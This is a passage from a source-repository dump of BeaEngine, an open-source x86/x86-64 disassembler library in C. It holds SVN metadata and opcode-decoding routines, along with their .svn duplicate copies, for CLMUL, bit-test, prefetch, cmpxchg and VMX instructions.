| BeaEngineVersion.c 64 | file 65 | 66 | 67 | 68 | 69 | 2016-03-16T14:59:57.243914Z 70 | 9456e8d007e1aecb3c9a06e3173543f4 71 | 2010-05-27T21:24:36.783023Z 72 | 124 73 | igor.gutnik 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 1261 96 | 97 | Routines_ModRM.c 98 | file 99 | 100 | 101 | 102 | 103 | 2016-03-16T14:59:57.243914Z 104 | 503bddb2f93c16c1c21b8e88ae273717 105 | 2010-05-24T17:06:18.219333Z 106 | 116 107 | beaengine 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 98289 130 | 131 | Routines_Disasm.c 132 | file 133 | 134 | 135 | 136 | 137 | 2016-03-16T14:59:57.243914Z 138 | fd0fd70066d50296ea7641584945abdc 139 | 2010-05-25T18:03:51.249111Z 140 | 119 141 | beaengine 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 40076 164 | 165 | instr_set 166 | dir 167 | 168 | protos.h 169 | file 170 | 171 | 172 | 173 | 174 | 2016-03-16T14:59:57.243914Z 175 | 1faa3dfcc9425c93d36d4158a8e0dcbf 176 | 2010-05-27T21:24:36.783023Z 177 | 124 178 | igor.gutnik 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 28404 201 | 202 | -------------------------------------------------------------------------------- /beaengineSources/BeaEngine.c: -------------------------------------------------------------------------------- 1 | /* 2 | * BeaEngine 4 - x86 & x86-64 disassembler library 3 | * 4 | * Copyright 2006-2010, BeatriX 5 | * File coded by BeatriX 6 | * 7 | * This file is part of BeaEngine. 8 | * 9 | * BeaEngine is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published by 11 | * the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * BeaEngine is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with BeaEngine. If not, see . */ 21 | 22 | 23 | #include "../include/beaengine/BeaEngine.h" 24 | #include "Includes/protos.h" 25 | #include "Includes/internal_datas.h" 26 | #include "Includes/instr_set/Data_opcode.h" 27 | #include "Includes/instr_set/opcodes_A_M.c" 28 | #include "Includes/instr_set/opcodes_N_Z.c" 29 | #include "Includes/instr_set/opcodes_Grp1.c" 30 | #include "Includes/instr_set/opcodes_Grp2.c" 31 | #include "Includes/instr_set/opcodes_Grp3.c" 32 | #include "Includes/instr_set/opcodes_Grp4.c" 33 | #include "Includes/instr_set/opcodes_Grp5.c" 34 | #include "Includes/instr_set/opcodes_Grp6.c" 35 | #include "Includes/instr_set/opcodes_Grp7.c" 36 | #include "Includes/instr_set/opcodes_Grp8.c" 37 | #include "Includes/instr_set/opcodes_Grp9.c" 38 | #include "Includes/instr_set/opcodes_Grp12.c" 39 | #include "Includes/instr_set/opcodes_Grp13.c" 40 | #include "Includes/instr_set/opcodes_Grp14.c" 41 | #include "Includes/instr_set/opcodes_Grp15.c" 42 | #include "Includes/instr_set/opcodes_Grp16.c" 43 | #include "Includes/instr_set/opcodes_FPU.c" 44 | #include "Includes/instr_set/opcodes_MMX.c" 45 | #include "Includes/instr_set/opcodes_SSE.c" 46 | #include "Includes/instr_set/opcodes_AES.c" 47 | #include "Includes/instr_set/opcodes_CLMUL.c" 48 | #include "Includes/instr_set/opcodes_prefixes.c" 49 | #include "Includes/Routines_ModRM.c" 50 | #include "Includes/Routines_Disasm.c" 51 | #include "Includes/BeaEngineVersion.c" 52 | 53 | void BeaEngine(void){return;} 54 | -------------------------------------------------------------------------------- /beaengineSources/.svn/text-base/BeaEngine.c.svn-base: -------------------------------------------------------------------------------- 1 | /* 2 | * BeaEngine 4 - x86 & x86-64 disassembler library 3 | * 4 | * Copyright 2006-2010, BeatriX 5 | * File coded by BeatriX 6 | * 7 | * This file is part of BeaEngine. 8 | * 9 | * BeaEngine is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published by 11 | * the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * BeaEngine is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with BeaEngine. If not, see . */ 21 | 22 | #include 23 | #include 24 | #include 25 | 26 | #include "beaengine/BeaEngine.h" 27 | #include "Includes/protos.h" 28 | #include "Includes/internal_datas.h" 29 | #include "Includes/instr_set/Data_opcode.h" 30 | #include "Includes/instr_set/opcodes_A_M.c" 31 | #include "Includes/instr_set/opcodes_N_Z.c" 32 | #include "Includes/instr_set/opcodes_Grp1.c" 33 | #include "Includes/instr_set/opcodes_Grp2.c" 34 | #include "Includes/instr_set/opcodes_Grp3.c" 35 | #include "Includes/instr_set/opcodes_Grp4.c" 36 | #include "Includes/instr_set/opcodes_Grp5.c" 37 | #include "Includes/instr_set/opcodes_Grp6.c" 38 | #include "Includes/instr_set/opcodes_Grp7.c" 39 | #include "Includes/instr_set/opcodes_Grp8.c" 40 | #include "Includes/instr_set/opcodes_Grp9.c" 41 | #include "Includes/instr_set/opcodes_Grp12.c" 42 | #include "Includes/instr_set/opcodes_Grp13.c" 43 | #include "Includes/instr_set/opcodes_Grp14.c" 44 | #include "Includes/instr_set/opcodes_Grp15.c" 45 | #include "Includes/instr_set/opcodes_Grp16.c" 46 | #include "Includes/instr_set/opcodes_FPU.c" 47 | #include "Includes/instr_set/opcodes_MMX.c" 48 | #include "Includes/instr_set/opcodes_SSE.c" 49 | #include "Includes/instr_set/opcodes_AES.c" 50 | #include "Includes/instr_set/opcodes_CLMUL.c" 51 | #include "Includes/instr_set/opcodes_prefixes.c" 52 | #include "Includes/Routines_ModRM.c" 53 | #include "Includes/Routines_Disasm.c" 54 | #include "Includes/BeaEngineVersion.c" 55 | 56 | void BeaEngine(void){return;} 57 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_CLMUL.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0x 0f 3a 44 21 | * ==================================================================== */ 22 | void __bea_callspec__ pclmulqdq_(PDISASM pMyDisasm) 23 | { 24 | /* ========== 0x66 */ 25 | if (GV.OperandSize == 16) { 26 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 27 | GV.MemDecoration = 0; 28 | (*pMyDisasm).Instruction.Category = CLMUL_INSTRUCTION; 29 | 30 | GV.SSE_ = 1; 31 | GxEx(pMyDisasm); 32 | GV.SSE_ = 0; 33 | GV.EIP_++; 34 | if (!Security(0, pMyDisasm)) return; 35 | 36 | (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); 37 | GV.ImmediatSize = 8; 38 | if ((*pMyDisasm).Instruction.Immediat == 0) { 39 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmullqlqdq "); 40 | } 41 | else if ((*pMyDisasm).Instruction.Immediat == 0x01 ) { 42 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulhqlqdq "); 43 | } 44 | else if ((*pMyDisasm).Instruction.Immediat == 0x10 ) { 45 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmullqhqdq "); 46 | } 47 | else if ((*pMyDisasm).Instruction.Immediat == 0x011 ) { 48 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulhqhqdq "); 49 | } 50 | else { 51 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulqdq "); 52 | GV.third_arg = 1; 53 | (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); 54 | (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; 55 | (*pMyDisasm).Argument3.ArgSize = 8; 56 | } 57 | } 58 | else { 59 | FailDecode(pMyDisasm); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_CLMUL.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0x 0f 3a 44 21 | * ==================================================================== */ 22 | void __bea_callspec__ pclmulqdq_(PDISASM pMyDisasm) 23 | { 24 | /* ========== 0x66 */ 25 | if (GV.OperandSize == 16) { 26 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 27 | GV.MemDecoration = 0; 28 | (*pMyDisasm).Instruction.Category = CLMUL_INSTRUCTION; 29 | 30 | GV.SSE_ = 1; 31 | GxEx(pMyDisasm); 32 | GV.SSE_ = 0; 33 | GV.EIP_++; 34 | if (!Security(0, pMyDisasm)) return; 35 | 36 | (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); 37 | GV.ImmediatSize = 8; 38 | if ((*pMyDisasm).Instruction.Immediat == 0) { 39 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmullqlqdq "); 40 | } 41 | else if ((*pMyDisasm).Instruction.Immediat == 0x01 ) { 42 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulhqlqdq "); 43 | } 44 | else if ((*pMyDisasm).Instruction.Immediat == 0x10 ) { 45 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmullqhqdq "); 46 | } 47 | else if ((*pMyDisasm).Instruction.Immediat == 0x011 ) { 48 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulhqhqdq "); 49 | } 50 | else { 51 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulqdq "); 52 | GV.third_arg = 1; 53 | (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); 54 | (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; 55 | (*pMyDisasm).Argument3.ArgSize = 8; 56 | } 57 | } 58 | else { 59 | FailDecode(pMyDisasm); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp8.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0fbah 21 | * ==================================================================== */ 22 | void __bea_callspec__ G8_EvIb(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | EvIb(pMyDisasm); 26 | if (GV.REGOPCODE == 4) { 27 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; 28 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bt "); 29 | (*pMyDisasm).Argument1.AccessMode = READ; 30 | FillFlags(pMyDisasm, 11); 31 | } 32 | else if (GV.REGOPCODE == 5) { 33 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 34 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 35 | } 36 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; 37 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bts "); 38 | (*pMyDisasm).Argument1.AccessMode = READ; 39 | FillFlags(pMyDisasm, 11); 40 | } 41 | else if (GV.REGOPCODE == 6) { 42 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 43 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 44 | } 45 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; 46 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btr "); 47 | (*pMyDisasm).Argument1.AccessMode = READ; 48 | FillFlags(pMyDisasm, 11); 49 | } 50 | else if (GV.REGOPCODE == 7) { 51 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 52 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 53 | } 54 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; 55 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btc "); 56 | (*pMyDisasm).Argument1.AccessMode = READ; 57 | FillFlags(pMyDisasm, 11); 58 | } 59 | else { 60 | FailDecode(pMyDisasm); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp8.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0fbah 21 | * ==================================================================== */ 22 | void __bea_callspec__ G8_EvIb(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | EvIb(pMyDisasm); 26 | if (GV.REGOPCODE == 4) { 27 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; 28 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bt "); 29 | (*pMyDisasm).Argument1.AccessMode = READ; 30 | FillFlags(pMyDisasm, 11); 31 | } 32 | else if (GV.REGOPCODE == 5) { 33 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 34 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 35 | } 36 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; 37 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bts "); 38 | (*pMyDisasm).Argument1.AccessMode = READ; 39 | FillFlags(pMyDisasm, 11); 40 | } 41 | else if (GV.REGOPCODE == 6) { 42 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 43 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 44 | } 45 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; 46 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btr "); 47 | (*pMyDisasm).Argument1.AccessMode = READ; 48 | FillFlags(pMyDisasm, 11); 49 | } 50 | else if (GV.REGOPCODE == 7) { 51 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 52 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 53 | } 54 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; 55 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btc "); 56 | (*pMyDisasm).Argument1.AccessMode = READ; 57 | FillFlags(pMyDisasm, 11); 58 | } 59 | else { 60 | FailDecode(pMyDisasm); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp16.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G16_(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | if (GV.REGOPCODE == 0) { 26 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 27 | if (GV.MOD_!= 0x3) { 28 | GV.MemDecoration = Arg2byte; 29 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchNTA "); 31 | } 32 | else { 33 | FailDecode(pMyDisasm); 34 | } 35 | } 36 | else if (GV.REGOPCODE == 1) { 37 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 38 | if (GV.MOD_!= 0x3) { 39 | GV.MemDecoration = Arg2byte; 40 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; 41 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT0 "); 42 | } 43 | else { 44 | FailDecode(pMyDisasm); 45 | } 46 | 47 | } 48 | else if (GV.REGOPCODE == 2) { 49 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 50 | if (GV.MOD_!= 0x3) { 51 | GV.MemDecoration = Arg2byte; 52 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; 53 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT1 "); 54 | } 55 | else { 56 | FailDecode(pMyDisasm); 57 | } 58 | 59 | } 60 | else if (GV.REGOPCODE == 3) { 61 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 62 | if (GV.MOD_!= 0x3) { 63 | GV.MemDecoration = Arg2byte; 64 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; 65 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT2 "); 66 | } 67 | else { 68 | FailDecode(pMyDisasm); 69 | } 70 | 71 | } 72 | 73 | else { 74 | FailDecode(pMyDisasm); 75 | } 76 | GV.EIP_+= GV.DECALAGE_EIP+2; 77 | } 78 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp16.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G16_(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | if (GV.REGOPCODE == 0) { 26 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 27 | if (GV.MOD_!= 0x3) { 28 | GV.MemDecoration = Arg2byte; 29 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchNTA "); 31 | } 32 | else { 33 | FailDecode(pMyDisasm); 34 | } 35 | } 36 | else if (GV.REGOPCODE == 1) { 37 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 38 | if (GV.MOD_!= 0x3) { 39 | GV.MemDecoration = Arg2byte; 40 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; 41 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT0 "); 42 | } 43 | else { 44 | FailDecode(pMyDisasm); 45 | } 46 | 47 | } 48 | else if (GV.REGOPCODE == 2) { 49 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 50 | if (GV.MOD_!= 0x3) { 51 | GV.MemDecoration = Arg2byte; 52 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; 53 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT1 "); 54 | } 55 | else { 56 | FailDecode(pMyDisasm); 57 | } 58 | 59 | } 60 | else if (GV.REGOPCODE == 3) { 61 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 62 | if (GV.MOD_!= 0x3) { 63 | GV.MemDecoration = Arg2byte; 64 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; 65 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT2 "); 66 | } 67 | else { 68 | FailDecode(pMyDisasm); 69 | } 70 | 71 | } 72 | 73 | else { 74 | FailDecode(pMyDisasm); 75 | } 76 | GV.EIP_+= GV.DECALAGE_EIP+2; 77 | } 78 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp9.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | 20 | /* ==================================================================== 21 | * 0fc7h 22 | * ==================================================================== */ 23 | void __bea_callspec__ G9_(PDISASM pMyDisasm) 24 | { 25 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 26 | GV.MemDecoration = Arg2qword; 27 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 28 | if (GV.REGOPCODE == 1) { 29 | if (GV.REX.W_ == 1) { 30 | GV.MemDecoration = Arg2dqword; 31 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; 32 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg16b "); 33 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; 34 | (*pMyDisasm).Argument1.ArgSize = 128; 35 | (*pMyDisasm).Argument1.AccessMode = READ; 36 | FillFlags(pMyDisasm, 23); 37 | GV.EIP_ += GV.DECALAGE_EIP+2; 38 | } 39 | else { 40 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; 41 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg8b "); 42 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; 43 | (*pMyDisasm).Argument1.ArgSize = 64; 44 | (*pMyDisasm).Argument1.AccessMode = READ; 45 | FillFlags(pMyDisasm, 23); 46 | GV.EIP_ += GV.DECALAGE_EIP+2; 47 | } 48 | } 49 | else if (GV.REGOPCODE == 6) { 50 | (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; 51 | if (GV.OperandSize == 16) { 52 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmclear "); 53 | } 54 | else if (GV.PrefRepe == 1) { 55 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmxon "); 56 | } 57 | else { 58 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmptrld "); 59 | } 60 | GV.EIP_ += GV.DECALAGE_EIP+2; 61 | 62 | } 63 | else if (GV.REGOPCODE == 7) { 64 | (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; 65 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmptrst "); 66 | GV.EIP_ += GV.DECALAGE_EIP+2; 67 | } 68 | else { 69 | FailDecode(pMyDisasm); 70 | } 71 | 72 | } 73 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp9.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | 20 | /* ==================================================================== 21 | * 0fc7h 22 | * ==================================================================== */ 23 | void __bea_callspec__ G9_(PDISASM pMyDisasm) 24 | { 25 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 26 | GV.MemDecoration = Arg2qword; 27 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 28 | if (GV.REGOPCODE == 1) { 29 | if (GV.REX.W_ == 1) { 30 | GV.MemDecoration = Arg2dqword; 31 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; 32 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg16b "); 33 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; 34 | (*pMyDisasm).Argument1.ArgSize = 128; 35 | (*pMyDisasm).Argument1.AccessMode = READ; 36 | FillFlags(pMyDisasm, 23); 37 | GV.EIP_ += GV.DECALAGE_EIP+2; 38 | } 39 | else { 40 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; 41 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg8b "); 42 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; 43 | (*pMyDisasm).Argument1.ArgSize = 64; 44 | (*pMyDisasm).Argument1.AccessMode = READ; 45 | FillFlags(pMyDisasm, 23); 46 | GV.EIP_ += GV.DECALAGE_EIP+2; 47 | } 48 | } 49 | else if 